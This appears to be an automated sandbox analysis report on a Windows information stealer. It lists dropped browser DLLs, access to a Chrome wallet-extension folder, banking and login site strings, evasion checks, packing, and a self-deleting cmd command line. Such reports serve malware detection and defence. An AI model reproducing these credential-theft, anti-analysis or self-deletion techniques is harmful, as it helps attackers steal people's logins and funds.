Source: sqlite3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: sqlite3[1].dll.0.dr, nss3.dll.0.dr, nss3[1].dll.0.dr, sqlite3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: BBiIn5gqhd.exe, 00000000.00000003.2039523577.0000000000774000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:

Source: BBiIn5gqhd.exe	Virustotal: Detection: 66%
Source: BBiIn5gqhd.exe	ReversingLabs: Detection: 95%

Source: unknown	Process created: C:\Users\user\Desktop\BBiIn5gqhd.exe "C:\Users\user\Desktop\BBiIn5gqhd.exe"
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\BBiIn5gqhd.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\BBiIn5gqhd.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5	Jump to behavior

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: BBiIn5gqhd.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_00407A40 GetEnvironmentVariableA,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00407A40

Source: BBiIn5gqhd.exe	Static PE information: section name: UPX2
Source: mozglue.dll.0.dr	Static PE information: section name: .didat
Source: mozglue[1].dll.0.dr	Static PE information: section name: .didat
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: sqlite3.dll.0.dr	Static PE information: section name: /4
Source: sqlite3.dll.0.dr	Static PE information: section name: /19
Source: sqlite3.dll.0.dr	Static PE information: section name: /35
Source: sqlite3.dll.0.dr	Static PE information: section name: /51
Source: sqlite3.dll.0.dr	Static PE information: section name: /63
Source: sqlite3.dll.0.dr	Static PE information: section name: /77
Source: sqlite3.dll.0.dr	Static PE information: section name: /89
Source: sqlite3.dll.0.dr	Static PE information: section name: /102
Source: sqlite3.dll.0.dr	Static PE information: section name: /113
Source: sqlite3.dll.0.dr	Static PE information: section name: /124
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /35
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /51
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /63
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /77
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /89
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /102
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /113
Source: sqlite3[1].dll.0.dr	Static PE information: section name: /124

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_0042F6CE push es; iretd	0_2_0042F6D3
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_0041A57E pushad ; iretd	0_2_0041A58D
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_0041A736 push B80069C2h; ret	0_2_0041A741

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqlite3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\BBiIn5gqhd.exe" & exit
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\BBiIn5gqhd.exe" & exit			Jump to behavior

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_0040C4D0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

0_2_0040C4D0

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_00406C00

0_2_00406C00

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_0-5508

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-4448

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-4455

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqlite3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_00406C00

0_2_00406C00

Source: C:\Windows\SysWOW64\timeout.exe TID: 2436

Thread sleep count: 40 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_004098D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004098D0
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00408920 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00408920
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00409D30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_00409D30
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00409B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00409B60
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00405F70 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00405F70

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 2NOH4EKN.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 2NOH4EKN.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 2NOH4EKN.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 2NOH4EKN.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: BBiIn5gqhd.exe, 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000003.2025763944.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BBiIn5gqhd.exe, 00000000.00000003.2025763944.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, BBiIn5gqhd.exe, 00000000.00000002.2086398195.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS$
Source: 2NOH4EKN.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 2NOH4EKN.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 2NOH4EKN.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 2NOH4EKN.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 2NOH4EKN.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 2NOH4EKN.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 2NOH4EKN.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 2NOH4EKN.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 2NOH4EKN.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 2NOH4EKN.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 2NOH4EKN.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 2NOH4EKN.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 2NOH4EKN.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 2NOH4EKN.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 2NOH4EKN.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 2NOH4EKN.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 2NOH4EKN.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 2NOH4EKN.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 2NOH4EKN.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

API call chain: ExitProcess graph end node

graph_0-4444

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

Code function: 0_2_00404A00 VirtualProtect ?,00000004,00000100,00000000

0_2_00404A00

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe

0_2_00407A40

Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_0042E014 mov eax, dword ptr fs:[00000030h]	0_2_0042E014
Source: C:\Users\user\Desktop\BBiIn5gqhd.exe	Code function: 0_2_0042E084 mov eax, dword ptr fs:[00000030h]	0_2_0042E084
